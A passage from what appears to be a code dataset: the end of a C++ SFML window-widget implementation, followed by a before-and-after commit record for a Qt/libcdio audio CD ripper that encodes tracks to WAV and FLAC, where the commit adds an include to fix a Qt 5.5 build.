m_fullArea.width = getWidth();\n    m_fullArea.height = getHeight() + m_topBarHeight;\n    \/\/ The content area not include the topbar, so its starts after the topbar\n    m_contentArea.top = m_topBarHeight;\n    \n    m_topBar.setPosition(0.f, 0.f);\n    m_topBar.setWidth(getLocalContentBounds().width);\n    m_topBar.setHeight(m_topBarHeight);\n    m_windowTitle.setCharacterSize(m_topBar.getHeight() - 6.f);\n    m_windowTitle.setPosition(6.f, 0.f);\n    \/\/ The Topbar is drawn over the real area of the widget\n    \/\/ So the topbar dont hide child elements\n    \/\/m_topBar.setOrigin(m_topBar.getWidth() \/ 2.f, m_topBar.getHeight() \/ 2.f);\n    \n    \/\/m_topBar.setPosition(-m_outlineThickness + m_topBar.getWidth() \/ 2.f, \n    \/\/        -m_topBar.getHeight() + m_topBar.getHeight() \/ 2.f );\n    \n    m_btnClose.setWidth(m_topBar.getHeight() - 6.f);\n    m_btnClose.setHeight(m_topBar.getHeight() - 6.f);\n    \/\/m_btnClose.setOrigin(m_btnClose.getWidth() \/ 2.f, m_btnClose.getHeight() \/ 2.f);\n    \n    m_btnClose.setPosition(m_topBar.getRight() \n            - m_btnClose.getWidth() - 2.f, \n            m_topBarHeight - getOutlineThickness()\n            - m_btnClose.getHeight()\n            );\n    \n    float btnSymbolWidth{ m_btnClose.getHeight() - 2.f };\n    float btnSymbolHeight{ btnSymbolWidth \/ 6.f };\n    m_btnCloseSymbolA.setSize({ btnSymbolWidth, btnSymbolHeight });\n    m_btnCloseSymbolA.setOrigin( btnSymbolWidth \/ 2.f, btnSymbolHeight \/ 2.f); \n    m_btnCloseSymbolA.setFillColor(m_btnCloseSymbolColor);\n    m_btnCloseSymbolA.setPosition(\n            m_btnClose.getLeft() + m_btnClose.getWidth() \/ 2.f,\n            m_btnClose.getTop() + m_btnClose.getHeight() \/ 2.f);\n    m_btnCloseSymbolA.setRotation(45.f);\n    \n    m_btnCloseSymbolB.setSize({ btnSymbolWidth, btnSymbolHeight });\n    m_btnCloseSymbolB.setOrigin( btnSymbolWidth \/ 2.f, btnSymbolHeight \/ 2.f); \n    m_btnCloseSymbolB.setFillColor(m_btnCloseSymbolColor);\n    m_btnCloseSymbolB.setPosition(\n            m_btnClose.getLeft() + m_btnClose.getWidth() \/ 2.f,\n            m_btnClose.getTop() + m_btnClose.getHeight() \/ 2.f);\n    m_btnCloseSymbolB.setRotation(-45.f);\n}\n\nvoid gsf::WindowWidget::childAdded(Widget &child)\n{\n    \/\/ Move child widget by the topbars height down so it is at the \n    \/\/ upper left corner when its position is (0.f, 0.f). \n    \/\/ (At the real (0.f, 0.f) local point there is the topBar)\n    child.move(0.f, m_topBarHeight);\n}\n\nvoid gsf::WindowWidget::arrangeChildren()\n{\n\n}\n\nbool gsf::WindowWidget::handleEventCurrentBeforeChildren(sf::Event &event)\n{\n    bool handled{ Widget::handleEventCurrentBeforeChildren(event) };\n    sf::Vector2f mousePos{ (float) event.mouseButton.x, \n        (float) event.mouseButton.y };\n    sf::Vector2f localMousePoint{ convertToLocalPoint({ mousePos.x, \n            mousePos.y }) };\n    if (event.type == sf::Event::MouseButtonPressed)\n    {\n        if (event.mouseButton.button == sf::Mouse::Left && \n                m_topBar.isPointIntersecting(localMousePoint))\n        {\n            \/\/ Check if close button was pressed. \n            \/\/ We have to map the mouse coordinate to local widget coordinates\n            if (m_btnClose.isPointIntersecting(localMousePoint))\n            {\n                setIsRemoveable(true);\n            }\n            m_moveModeActive = true;\n            m_moveModeRelMousePos.x = event.mouseButton.x - getWorldPosition().x;\n            m_moveModeRelMousePos.y = event.mouseButton.y - getWorldPosition().y;\n            \/\/ Window should now be shown in the foreground\n            setMoveToForground(true);\n            return true;\n        }\n        if (event.mouseButton.button == sf::Mouse::Left && isIntersecting(mousePos))\n        {\n            setMoveToForground(true);\n            return false;\n        }\n\n    }\n    else if (event.type == sf::Event::MouseButtonReleased)\n    {\n        if (event.mouseButton.button == sf::Mouse::Left && m_moveModeActive)\n        {\n            m_moveModeActive = false;\n            return true;\n        }\n    }\n    return handled;\n}\n\nbool gsf::WindowWidget::handleEventCurrentAfterChildren(sf::Event &event)\n{\n    bool handled{ Widget::handleEventCurrentAfterChildren(event) };\n    if (event.type == sf::Event::MouseMoved && m_moveModeActive)\n    {\n        setPosition(event.mouseMove.x - getOrigin().x - m_moveModeRelMousePos.x, \n                event.mouseMove.y - getOrigin().y - m_moveModeRelMousePos.y);\n    }\n    return handled;\n}\n\nvoid gsf::WindowWidget::updateCurrentAfterChildren(float dt)\n{\n    \/\/ Do nothing by default\n}\n\nvoid gsf::WindowWidget::drawCurrentAfterChildren(sf::RenderTarget &target, \n        sf::RenderStates states) const\n{\n    sf::View defaultView{ target.getView() };\n    \/\/ Draw Topbar\n    \/\/sf::View viewTopBar{ getTopBarView(target) };\n    \/\/target.setView(viewTopBar);\n    target.draw(m_topBar, states);\n    \/\/ Draw close Button\n    target.draw(m_btnClose, states);\n    target.draw(m_btnCloseSymbolA, states);\n    target.draw(m_btnCloseSymbolB, states);\n\n    \/\/ Draw window title\n    sf::View viewTitle{ getWindowTitleView(target) };\n    target.setView(viewTitle);\n    \/*\n    sf::Text title;\n    title.setFont(m_windowTitleFont);\n    title.setString(m_windowTitle);\n    title.setCharacterSize(m_topBar.getHeight() - 6.f);\n    title.setFillColor(m_windowTitleColor);\n    title.setStyle(sf::Text::Bold);\n    \/\/title.setPosition(6.f, -m_topBar.getHeight());\n    title.setPosition(6.f, 0.f);\n    target.draw(title, states);\n    *\/\n    target.draw(m_windowTitle, states);\n    target.setView(defaultView);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"CdromRipper.h\"\n\n#include <cdio\/cd_types.h>\n#include <QDebug>\n#include <QFile>\n#include <QDir>\n#include <QSettings>\n#include <QStandardPaths>\n#include \"DefaultSettings.h\"\n\n\nCdromRipper::CdromRipper(QObject *parent)\n    : QThread(parent)\n{\n    qRegisterMetaType<EMSRipProgress>(\"EMSRipProgress\");\n\n    m_ripProgressObserverTimer = new QTimer(this);\n    connect(m_ripProgressObserverTimer, &QTimer::timeout, this, &CdromRipper::observeRipProgress);\n    m_ripProgressObserverTimer->setInterval(1000); \/\/ in milliseconds\n    m_ripProgressObserverTimer->start();\n}\n\nCdromRipper::~CdromRipper()\n{\n    m_ripProgressObserverTimer->stop();\n    delete m_ripProgressObserverTimer;\n}\n\nvoid CdromRipper::setCdrom(const EMSCdrom &cdromProperties)\n{\n    m_cdromProperties = cdromProperties;\n}\n\nvoid CdromRipper::setAudioFormat(const QString &audioFormat)\n{\n    m_audioFormat = audioFormat;\n}\n\n\/* ---------------------------------------------------------\n *                  THREAD MAIN FUNCTION\n * --------------------------------------------------------- *\/\n\/* Main thread function\n * This function is called once and must handle every blocking action.\n * All shared class members (= the one used by the API) MUST be protected by the global mutex.\n *\/\nvoid CdromRipper::run()\n{\n    QString result(\"Rip: OK\");\n\n    if (!identifyDrive())\n    {\n        qCritical() << \"CdromRipper: rip aborted\";\n        return;\n    }\n    qDebug() << \"CdromRipper: device name: \" << m_drive->cdda_device_name;\n\n    if (m_cdromProperties.device != QString(m_drive->cdda_device_name))\n    {\n        qCritical() << \"CdromRipper: the name of the physical drive does not match the saved device name\";\n        qCritical() << \"CdromRipper: rip aborted\";\n        return;\n    }\n\n    if (!openDrive())\n    {\n        qCritical() << \"CdromRipper: rip aborted\";\n        return;\n    }\n\n    initializeParanoia();\n    computeDiskSectorQuantity();\n\n\n    unsigned int nbTracks = m_cdromProperties.tracks.size();\n    m_emsRipProgressMutex.lock();\n    m_emsRipProgress.track_total = nbTracks;\n    m_emsRipProgressMutex.unlock();\n\n    for (unsigned int indexTrack = 0; indexTrack < nbTracks; ++indexTrack)\n    {\n        ripOneTrack(indexTrack);\n    }\n\n    closeDrive();\n\n    qDebug() << \"CdromRipper: end of the rip process\";\n    emit resultReady(result);\n}\n\nbool CdromRipper::identifyDrive()\n{\n    char **ppsz_cd_drives;  \/* List of all drives with a loaded CDDA in it. *\/\n    driver_id_t driver_id;\n\n    \/* See if we can find a device with a loaded CD-DA in it. If successful\n       drive_id will be set.  *\/\n    ppsz_cd_drives = cdio_get_devices_with_cap_ret(NULL, CDIO_FS_AUDIO,\n                                                   false, &driver_id);\n\n    if (ppsz_cd_drives && *ppsz_cd_drives)\n    {\n        \/* Use the first drive in the list. *\/\n        m_drive = cdda_identify(*ppsz_cd_drives, 1, NULL);\n    }\n    else\n    {\n        qCritical()<< \"CdromRipper: unable find or access a CD-ROM drive with an audio CD in it\";\n        return false;\n    }\n\n    \/* Don't need a list of CD's with CD-DA's any more. *\/\n    cdio_free_device_list(ppsz_cd_drives);\n\n    return true;\n}\n\nbool CdromRipper::openDrive()\n{\n    \/* Set for verbose paranoia messages. *\/\n    cdda_verbose_set(m_drive, CDDA_MESSAGE_PRINTIT, CDDA_MESSAGE_PRINTIT);\n\n    if ( 0 != cdio_cddap_open(m_drive) ) {\n        qCritical() << \"CdromRipper: unable to open disc.\";\n        return false;\n    }\n    return true;\n}\n\nvoid CdromRipper::initializeParanoia()\n{\n    m_paranoiaStruc = paranoia_init(m_drive);\n\n    \/* Set reading mode for full paranoia, but allow skipping sectors. *\/\n    paranoia_modeset(m_paranoiaStruc, PARANOIA_MODE_FULL^PARANOIA_MODE_NEVERSKIP);\n}\n\nvoid CdromRipper::closeDrive()\n{\n    paranoia_free(m_paranoiaStruc);\n    cdio_cddap_close(m_drive);\n}\n\nbool CdromRipper::ripOneTrack(unsigned int indexTrack)\n{\n    unsigned int trackPosition = m_cdromProperties.tracks[indexTrack].position;\n    lsn_t lsnBegin = m_cdromProperties.trackSectors[trackPosition].first;\n    lsn_t lsnEnd = m_cdromProperties.trackSectors[trackPosition].second;\n    lsn_t currentLsn = lsnBegin;\n    lsn_t nbSectors = lsnEnd - lsnBegin + 1;\n    unsigned int bufferSize = CDIO_CD_FRAMESIZE_RAW * nbSectors;\n    uint8_t *audioTrackBuf = (uint8_t*)malloc(bufferSize);\n    uint8_t *writeIndex = audioTrackBuf;\n    memset(audioTrackBuf, 0, bufferSize);\n\n    qDebug() << \"CdromRipper: track begin: \" << lsnBegin;\n    qDebug() << \"CdromRipper: track end  : \" << lsnEnd;\n    qDebug() << \"CdromRipper: nbsectors  : \" << nbSectors;\n    qDebug() << \"CdromRipper: size (in bytes): \" << bufferSize;\n\n    paranoia_seek(m_paranoiaStruc, lsnBegin, SEEK_SET);\n\n    while (currentLsn <= lsnEnd)\n    {\n        \/\/ read a sector\n        int16_t *p_readbuf = paranoia_read(m_paranoiaStruc, Q_NULLPTR);\n        char *psz_err=cdio_cddap_errors(m_drive);\n        char *psz_mes=cdio_cddap_messages(m_drive);\n\n        if (psz_mes)\n            qWarning() << \"CdromRipper: Paranoia mess: \" << psz_mes;\n        if (psz_err)\n            qCritical() << \"CdromRipper: Paranoia err: \" << psz_err;\n\n        if (psz_err != NULL)\n        {\n            free(psz_err);\n        }\n        if (psz_mes != NULL)\n        {\n            free(psz_mes);\n        }\n\n        if (!p_readbuf)\n        {\n            qCritical() << \"CdromRipper: paranoia read error. Track rip aborted.\";\n            free(audioTrackBuf);\n            return false;\n        }\n\n        memcpy(writeIndex, p_readbuf, CDIO_CD_FRAMESIZE_RAW);\n        writeIndex += CDIO_CD_FRAMESIZE_RAW;\n\n        buildRipProgressMessage(indexTrack, currentLsn,\n                                      lsnBegin, lsnEnd);\n\n        currentLsn++;\n    }\n\n    if(buildAudioFilenames(indexTrack))\n    {\n        \/\/ WAV encoding\n        if (!m_wavEncoder.write(m_wavFilenameCurrentTrack, audioTrackBuf, bufferSize))\n        {\n                qCritical() << \"CdromRipper: Track rip aborted (WAV audio encoding failed)\";\n                free(audioTrackBuf);\n                return false;\n        }\n        else\n        {\n            if (m_audioFormat != \"WAV\")\n            {\n                \/\/ FLAC encoding\n                m_flacEncoder.setInputFilename(m_wavFilenameCurrentTrack);\n                m_flacEncoder.setOutputFilename(m_flacFilenameCurrentTrack);\n                if (!m_flacEncoder.encode(&(m_cdromProperties.tracks[indexTrack])))\n                {\n                    qCritical() << \"CdromRipper: FLAC audio encoding failed\";\n                    free(audioTrackBuf);\n                    return false;\n                }\n                m_flacEncoder.clearFilenames();\n\n                \/\/ remove the temporary WAV file\n                if (!QFile::remove(m_wavFilenameCurrentTrack))\n                {\n                    qCritical() << \"CdromRipper: remove the WAV temporary file failed\";\n                }\n            }\n        }\n    }\n    else\n    {\n        qCritical() << \"CdromRipper: file audio creation failed\";\n    }\n\n    free(audioTrackBuf);\n    return true;\n}\n\nbool CdromRipper::buildAudioFilenames(unsigned int indexTrack)\n{\n    QString mainDirectoryPath(\"\/tmp\");\n    QString defaultArtistName(\"DefaultArtistName\");\n    QString defaultAlbumName(\"DefaultAlbumName\");\n    QString defaultTrackName(\"trackname\");\n\n    QString artistName = defaultArtistName;\n    QString albumName = defaultAlbumName;\n    QString trackName = defaultTrackName;\n\n    unsigned int trackPosition = m_cdromProperties.tracks[indexTrack].position;\n\n    \/\/ Find the main directory path\n    QSettings::setDefaultFormat(QSettings::IniFormat);\n    QSettings settings;\n\n    QString locations;\n    EMS_LOAD_SETTINGS(locations, \"main\/locations\",\n                      QStandardPaths::standardLocations(QStandardPaths::MusicLocation)[0],\n                      String);\n    QStringList locationList = locations.split( \" \" );\n    if (locationList.size() > 0)\n    {\n        mainDirectoryPath = locationList[0];\n    }\n\n    \/\/ Find the artist\n    if (m_cdromProperties.tracks[indexTrack].artists.size() > 0)\n    {\n        if (!m_cdromProperties.tracks[indexTrack].artists[0].name.isEmpty())\n        {\n            artistName = m_cdromProperties.tracks[indexTrack].artists[0].name;\n        }\n    }\n\n    \/\/ Find the album\n    if (!m_cdromProperties.tracks[indexTrack].album.name.isEmpty())\n    {\n        albumName = m_cdromProperties.tracks[indexTrack].album.name;\n    }\n\n    \/\/ Find the trackname\n    if (!m_cdromProperties.tracks[indexTrack].name.isEmpty())\n    {\n        trackName = m_cdromProperties.tracks[indexTrack].name;\n    }\n\n    QString directoryPath = mainDirectoryPath;\n    QString filename;\n    QString wavExtension = \".wav\";\n    QString flacExtension = \".flac\";\n\n    \/\/ if the wanted audio format is not WAV, the wav file will be temporary\n    if (m_audioFormat != \"WAV\")\n    {\n        wavExtension += \".tmp\";\n    }\n\n    directoryPath += \"\/\";\n    directoryPath += artistName;\n    directoryPath += \"\/\";\n    directoryPath += albumName;\n    directoryPath += \"\/\";\n\n    if (trackPosition <= 9)\n    {\n        filename += \"0\";\n    }\n    filename += QString::number(trackPosition);\n    filename += \"-\";\n    filename += trackName;\n\n    QString wavFilenameWithExtension = filename + wavExtension;\n    QString flacFilenameWithExtension = filename + flacExtension;\n    m_wavFilenameCurrentTrack = directoryPath + wavFilenameWithExtension;\n    m_flacFilenameCurrentTrack = directoryPath + flacFilenameWithExtension;\n    qDebug() << \"CdromRipper: WAV audio filename: \" << m_wavFilenameCurrentTrack;\n    qDebug() << \"CdromRipper: FLAC audio filename: \" << m_flacFilenameCurrentTrack;\n\n    \/\/ Create the directory if does not exist\n    QDir dirManager(\"\/\");\n    if (!dirManager.mkpath(directoryPath))\n    {\n        qCritical() << \"CdromRipper: directory creation failed\";\n        return false;\n    }\n\n    \/\/ Create the discid file associated to this track\n    if (!writeDiscId(directoryPath))\n    {\n        qCritical() << \"CDromRipper: the 'disc_id' writing failed\";\n    }\n\n    return true;\n}\n\nbool CdromRipper::writeRawFile(uint8_t *audioTrackBuf,\n                               unsigned int bufferSize,\n                               const QString &wavFilename)\n{\n    QFile trackFile(wavFilename);\n    if (!trackFile.open(QIODevice::WriteOnly))\n    {\n        qCritical() << \"CdromRipper: cannot open file for writing: \"\n                    << qPrintable(trackFile.errorString());\n        return false;\n    }\n    QDataStream out(&trackFile);\n    out.setVersion(QDataStream::Qt_5_2);\n    out.writeRawData((const char*)audioTrackBuf, bufferSize);\n    trackFile.close();\n\n    return true;\n}\n\nvoid CdromRipper::buildRipProgressMessage(unsigned int indexTrack,\n                                          lsn_t currentSector,\n                                          lsn_t firstSector,\n                                          lsn_t lastSector)\n{\n    m_emsRipProgressMutex.lock();\n\n    m_emsRipProgress.track_in_progress = indexTrack + 1;\n    m_emsRipProgress.overall_progress = 100 * currentSector \/ m_diskSectorQuantity;\n    m_emsRipProgress.track_progress = (100 * (currentSector - firstSector + 1)) \/\n                                      (lastSector - firstSector + 1);\n\n    m_emsRipProgressMutex.unlock();\n}\n\nvoid CdromRipper::computeDiskSectorQuantity()\n{\n    int nbTracks = m_cdromProperties.tracks.size();\n    m_diskSectorQuantity = 0;\n\n    if (nbTracks > 0)\n    {\n        unsigned int position = m_cdromProperties.tracks[0].position;\n        lsn_t firstSector = m_cdromProperties.trackSectors[position].first;\n\n        position = m_cdromProperties.tracks[nbTracks - 1].position;\n        lsn_t lastSector = m_cdromProperties.trackSectors[position].second;\n\n        m_diskSectorQuantity = lastSector - firstSector + 1;\n    }\n}\n\nbool CdromRipper::writeDiscId(const QString &dirPath)\n{\n    QString filename = dirPath;\n    filename += \"discid\";\n\n    QFile discIdFile(filename);\n    if (!discIdFile.open(QIODevice::WriteOnly))\n    {\n        qCritical() << \"CdromRipper: cannot open file for writing: \"\n                    << qPrintable(discIdFile.errorString());\n        return false;\n    }\n    QDataStream out(&discIdFile);\n    out.setVersion(QDataStream::Qt_5_2);\n    out.writeRawData((const char*)qPrintable(m_cdromProperties.disc_id),\n                     m_cdromProperties.disc_id.size());\n    discIdFile.close();\n    return true;\n}\n\nvoid CdromRipper::observeRipProgress()\n{\n    m_emsRipProgressMutex.lock();\n    emit ripProgressChanged(m_emsRipProgress);\n    m_emsRipProgressMutex.unlock();\n}\n<commit_msg>Fix build with QT5.5<commit_after>#include \"CdromRipper.h\"\n\n#include <cdio\/cd_types.h>\n#include <QDebug>\n#include <QFile>\n#include <QDir>\n#include <QSettings>\n#include <QStandardPaths>\n#include \"DefaultSettings.h\"\n#include <QtCore\/QDataStream>\n\nCdromRipper::CdromRipper(QObject *parent)\n    : QThread(parent)\n{\n    qRegisterMetaType<EMSRipProgress>(\"EMSRipProgress\");\n\n    m_ripProgressObserverTimer = new QTimer(this);\n    connect(m_ripProgressObserverTimer, &QTimer::timeout, this, &CdromRipper::observeRipProgress);\n    m_ripProgressObserverTimer->setInterval(1000); \/\/ in milliseconds\n    m_ripProgressObserverTimer->start();\n}\n\nCdromRipper::~CdromRipper()\n{\n    m_ripProgressObserverTimer->stop();\n    delete m_ripProgressObserverTimer;\n}\n\nvoid CdromRipper::setCdrom(const EMSCdrom &cdromProperties)\n{\n    m_cdromProperties = cdromProperties;\n}\n\nvoid CdromRipper::setAudioFormat(const QString &audioFormat)\n{\n    m_audioFormat = audioFormat;\n}\n\n\/* ---------------------------------------------------------\n *                  THREAD MAIN FUNCTION\n * --------------------------------------------------------- *\/\n\/* Main thread function\n * This function is called once and must handle every blocking action.\n * All shared class members (= the one used by the API) MUST be protected by the global mutex.\n *\/\nvoid CdromRipper::run()\n{\n    QString result(\"Rip: OK\");\n\n    if (!identifyDrive())\n    {\n        qCritical() << \"CdromRipper: rip aborted\";\n        return;\n    }\n    qDebug() << \"CdromRipper: device name: \" << m_drive->cdda_device_name;\n\n    if (m_cdromProperties.device != QString(m_drive->cdda_device_name))\n    {\n        qCritical() << \"CdromRipper: the name of the physical drive does not match the saved device name\";\n        qCritical() << \"CdromRipper: rip aborted\";\n        return;\n    }\n\n    if (!openDrive())\n    {\n        qCritical() << \"CdromRipper: rip aborted\";\n        return;\n    }\n\n    initializeParanoia();\n    computeDiskSectorQuantity();\n\n\n    unsigned int nbTracks = m_cdromProperties.tracks.size();\n    m_emsRipProgressMutex.lock();\n    m_emsRipProgress.track_total = nbTracks;\n    m_emsRipProgressMutex.unlock();\n\n    for (unsigned int indexTrack = 0; indexTrack < nbTracks; ++indexTrack)\n    {\n        ripOneTrack(indexTrack);\n    }\n\n    closeDrive();\n\n    qDebug() << \"CdromRipper: end of the rip process\";\n    emit resultReady(result);\n}\n\nbool CdromRipper::identifyDrive()\n{\n    char **ppsz_cd_drives;  \/* List of all drives with a loaded CDDA in it. *\/\n    driver_id_t driver_id;\n\n    \/* See if we can find a device with a loaded CD-DA in it. If successful\n       drive_id will be set.  *\/\n    ppsz_cd_drives = cdio_get_devices_with_cap_ret(NULL, CDIO_FS_AUDIO,\n                                                   false, &driver_id);\n\n    if (ppsz_cd_drives && *ppsz_cd_drives)\n    {\n        \/* Use the first drive in the list. *\/\n        m_drive = cdda_identify(*ppsz_cd_drives, 1, NULL);\n    }\n    else\n    {\n        qCritical()<< \"CdromRipper: unable find or access a CD-ROM drive with an audio CD in it\";\n        return false;\n    }\n\n    \/* Don't need a list of CD's with CD-DA's any more. *\/\n    cdio_free_device_list(ppsz_cd_drives);\n\n    return true;\n}\n\nbool CdromRipper::openDrive()\n{\n    \/* Set for verbose paranoia messages. *\/\n    cdda_verbose_set(m_drive, CDDA_MESSAGE_PRINTIT, CDDA_MESSAGE_PRINTIT);\n\n    if ( 0 != cdio_cddap_open(m_drive) ) {\n        qCritical() << \"CdromRipper: unable to open disc.\";\n        return false;\n    }\n    return true;\n}\n\nvoid CdromRipper::initializeParanoia()\n{\n    m_paranoiaStruc = paranoia_init(m_drive);\n\n    \/* Set reading mode for full paranoia, but allow skipping sectors. *\/\n    paranoia_modeset(m_paranoiaStruc, PARANOIA_MODE_FULL^PARANOIA_MODE_NEVERSKIP);\n}\n\nvoid CdromRipper::closeDrive()\n{\n    paranoia_free(m_paranoiaStruc);\n    cdio_cddap_close(m_drive);\n}\n\nbool CdromRipper::ripOneTrack(unsigned int indexTrack)\n{\n    unsigned int trackPosition = m_cdromProperties.tracks[indexTrack].position;\n    lsn_t lsnBegin = m_cdromProperties.trackSectors[trackPosition].first;\n    lsn_t lsnEnd = m_cdromProperties.trackSectors[trackPosition].second;\n    lsn_t currentLsn = lsnBegin;\n    lsn_t nbSectors = lsnEnd - lsnBegin + 1;\n    unsigned int bufferSize = CDIO_CD_FRAMESIZE_RAW * nbSectors;\n    uint8_t *audioTrackBuf = (uint8_t*)malloc(bufferSize);\n    uint8_t *writeIndex = audioTrackBuf;\n    memset(audioTrackBuf, 0, bufferSize);\n\n    qDebug() << \"CdromRipper: track begin: \" << lsnBegin;\n    qDebug() << \"CdromRipper: track end  : \" << lsnEnd;\n    qDebug() << \"CdromRipper: nbsectors  : \" << nbSectors;\n    qDebug() << \"CdromRipper: size (in bytes): \" << bufferSize;\n\n    paranoia_seek(m_paranoiaStruc, lsnBegin, SEEK_SET);\n\n    while (currentLsn <= lsnEnd)\n    {\n        \/\/ read a sector\n        int16_t *p_readbuf = paranoia_read(m_paranoiaStruc, Q_NULLPTR);\n        char *psz_err=cdio_cddap_errors(m_drive);\n        char *psz_mes=cdio_cddap_messages(m_drive);\n\n        if (psz_mes)\n            qWarning() << \"CdromRipper: Paranoia mess: \" << psz_mes;\n        if (psz_err)\n            qCritical() << \"CdromRipper: Paranoia err: \" << psz_err;\n\n        if (psz_err != NULL)\n        {\n            free(psz_err);\n        }\n        if (psz_mes != NULL)\n        {\n            free(psz_mes);\n        }\n\n        if (!p_readbuf)\n        {\n            qCritical() << \"CdromRipper: paranoia read error. Track rip aborted.\";\n            free(audioTrackBuf);\n            return false;\n        }\n\n        memcpy(writeIndex, p_readbuf, CDIO_CD_FRAMESIZE_RAW);\n        writeIndex += CDIO_CD_FRAMESIZE_RAW;\n\n        buildRipProgressMessage(indexTrack, currentLsn,\n                                      lsnBegin, lsnEnd);\n\n        currentLsn++;\n    }\n\n    if(buildAudioFilenames(indexTrack))\n    {\n        \/\/ WAV encoding\n        if (!m_wavEncoder.write(m_wavFilenameCurrentTrack, audioTrackBuf, bufferSize))\n        {\n                qCritical() << \"CdromRipper: Track rip aborted (WAV audio encoding failed)\";\n                free(audioTrackBuf);\n                return false;\n        }\n        else\n        {\n            if (m_audioFormat != \"WAV\")\n            {\n                \/\/ FLAC encoding\n                m_flacEncoder.setInputFilename(m_wavFilenameCurrentTrack);\n                m_flacEncoder.setOutputFilename(m_flacFilenameCurrentTrack);\n                if (!m_flacEncoder.encode(&(m_cdromProperties.tracks[indexTrack])))\n                {\n                    qCritical() << \"CdromRipper: FLAC audio encoding failed\";\n                    free(audioTrackBuf);\n                    return false;\n                }\n                m_flacEncoder.clearFilenames();\n\n                \/\/ remove the temporary WAV file\n                if (!QFile::remove(m_wavFilenameCurrentTrack))\n                {\n                    qCritical() << \"CdromRipper: remove the WAV temporary file failed\";\n                }\n            }\n        }\n    }\n    else\n    {\n        qCritical() << \"CdromRipper: file audio creation failed\";\n    }\n\n    free(audioTrackBuf);\n    return true;\n}\n\nbool CdromRipper::buildAudioFilenames(unsigned int indexTrack)\n{\n    QString mainDirectoryPath(\"\/tmp\");\n    QString defaultArtistName(\"DefaultArtistName\");\n    QString defaultAlbumName(\"DefaultAlbumName\");\n    QString defaultTrackName(\"trackname\");\n\n    QString artistName = defaultArtistName;\n    QString albumName = defaultAlbumName;\n    QString trackName = defaultTrackName;\n\n    unsigned int trackPosition = m_cdromProperties.tracks[indexTrack].position;\n\n    \/\/ Find the main directory path\n    QSettings::setDefaultFormat(QSettings::IniFormat);\n    QSettings settings;\n\n    QString locations;\n    EMS_LOAD_SETTINGS(locations, \"main\/locations\",\n                      QStandardPaths::standardLocations(QStandardPaths::MusicLocation)[0],\n                      String);\n    QStringList locationList = locations.split( \" \" );\n    if (locationList.size() > 0)\n    {\n        mainDirectoryPath = locationList[0];\n    }\n\n    \/\/ Find the artist\n    if (m_cdromProperties.tracks[indexTrack].artists.size() > 0)\n    {\n        if (!m_cdromProperties.tracks[indexTrack].artists[0].name.isEmpty())\n        {\n            artistName = m_cdromProperties.tracks[indexTrack].artists[0].name;\n        }\n    }\n\n    \/\/ Find the album\n    if (!m_cdromProperties.tracks[indexTrack].album.name.isEmpty())\n    {\n        albumName = m_cdromProperties.tracks[indexTrack].album.name;\n    }\n\n    \/\/ Find the trackname\n    if (!m_cdromProperties.tracks[indexTrack].name.isEmpty())\n    {\n        trackName = m_cdromProperties.tracks[indexTrack].name;\n    }\n\n    QString directoryPath = mainDirectoryPath;\n    QString filename;\n    QString wavExtension = \".wav\";\n    QString flacExtension = \".flac\";\n\n    \/\/ if the wanted audio format is not WAV, the wav file will be temporary\n    if (m_audioFormat != \"WAV\")\n    {\n        wavExtension += \".tmp\";\n    }\n\n    directoryPath += \"\/\";\n    directoryPath += artistName;\n    directoryPath += \"\/\";\n    directoryPath += albumName;\n    directoryPath += \"\/\";\n\n    if (trackPosition <= 9)\n    {\n        filename += \"0\";\n    }\n    filename += QString::number(trackPosition);\n    filename += \"-\";\n    filename += trackName;\n\n    QString wavFilenameWithExtension = filename + wavExtension;\n    QString flacFilenameWithExtension = filename + flacExtension;\n    m_wavFilenameCurrentTrack = directoryPath + wavFilenameWithExtension;\n    m_flacFilenameCurrentTrack = directoryPath + flacFilenameWithExtension;\n    qDebug() << \"CdromRipper: WAV audio filename: \" << m_wavFilenameCurrentTrack;\n    qDebug() << \"CdromRipper: FLAC audio filename: \" << m_flacFilenameCurrentTrack;\n\n    \/\/ Create the directory if does not exist\n    QDir dirManager(\"\/\");\n    if (!dirManager.mkpath(directoryPath))\n    {\n        qCritical() << \"CdromRipper: directory creation failed\";\n        return false;\n    }\n\n    \/\/ Create the discid file associated to this track\n    if (!writeDiscId(directoryPath))\n    {\n        qCritical() << \"CDromRipper: the 'disc_id' writing failed\";\n    }\n\n    return true;\n}\n\nbool CdromRipper::writeRawFile(uint8_t *audioTrackBuf,\n                               unsigned int bufferSize,\n                               const QString &wavFilename)\n{\n    QFile trackFile(wavFilename);\n    if (!trackFile.open(QIODevice::WriteOnly))\n    {\n        qCritical() << \"CdromRipper: cannot open file for writing: \"\n                    << qPrintable(trackFile.errorString());\n        return false;\n    }\n    QDataStream out(&trackFile);\n    out.setVersion(QDataStream::Qt_5_2);\n    out.writeRawData((const char*)audioTrackBuf, bufferSize);\n    trackFile.close();\n\n    return true;\n}\n\nvoid CdromRipper::buildRipProgressMessage(unsigned int indexTrack,\n                                          lsn_t currentSector,\n                                          lsn_t firstSector,\n                                          lsn_t lastSector)\n{\n    m_emsRipProgressMutex.lock();\n\n    m_emsRipProgress.track_in_progress = indexTrack + 1;\n    m_emsRipProgress.overall_progress = 100 * currentSector \/ m_diskSectorQuantity;\n    m_emsRipProgress.track_progress = (100 * (currentSector - firstSector + 1)) \/\n                                      (lastSector - firstSector + 1);\n\n    m_emsRipProgressMutex.unlock();\n}\n\nvoid CdromRipper::computeDiskSectorQuantity()\n{\n    int nbTracks = m_cdromProperties.tracks.size();\n    m_diskSectorQuantity = 0;\n\n    if (nbTracks > 0)\n    {\n        unsigned int position = m_cdromProperties.tracks[0].position;\n        lsn_t firstSector = m_cdromProperties.trackSectors[position].first;\n\n        position = m_cdromProperties.tracks[nbTracks - 1].position;\n        lsn_t lastSector = m_cdromProperties.trackSectors[position].second;\n\n        m_diskSectorQuantity = lastSector - firstSector + 1;\n    }\n}\n\nbool CdromRipper::writeDiscId(const QString &dirPath)\n{\n    QString filename = dirPath;\n    filename += \"discid\";\n\n    QFile discIdFile(filename);\n    if (!discIdFile.open(QIODevice::WriteOnly))\n    {\n        qCritical() << \"CdromRipper: cannot open file for writing: \"\n                    << qPrintable(discIdFile.errorString());\n        return false;\n    }\n    QDataStream out(&discIdFile);\n    out.setVersion(QDataStream::Qt_5_2);\n    out.writeRawData((const char*)qPrintable(m_cdromProperties.disc_id),\n                     m_cdromProperties.disc_id.size());\n    discIdFile.close();\n    return true;\n}\n\nvoid CdromRipper::observeRipProgress()\n{\n    m_emsRipProgressMutex.lock();\n    emit ripProgressChanged(m_emsRipProgress);\n    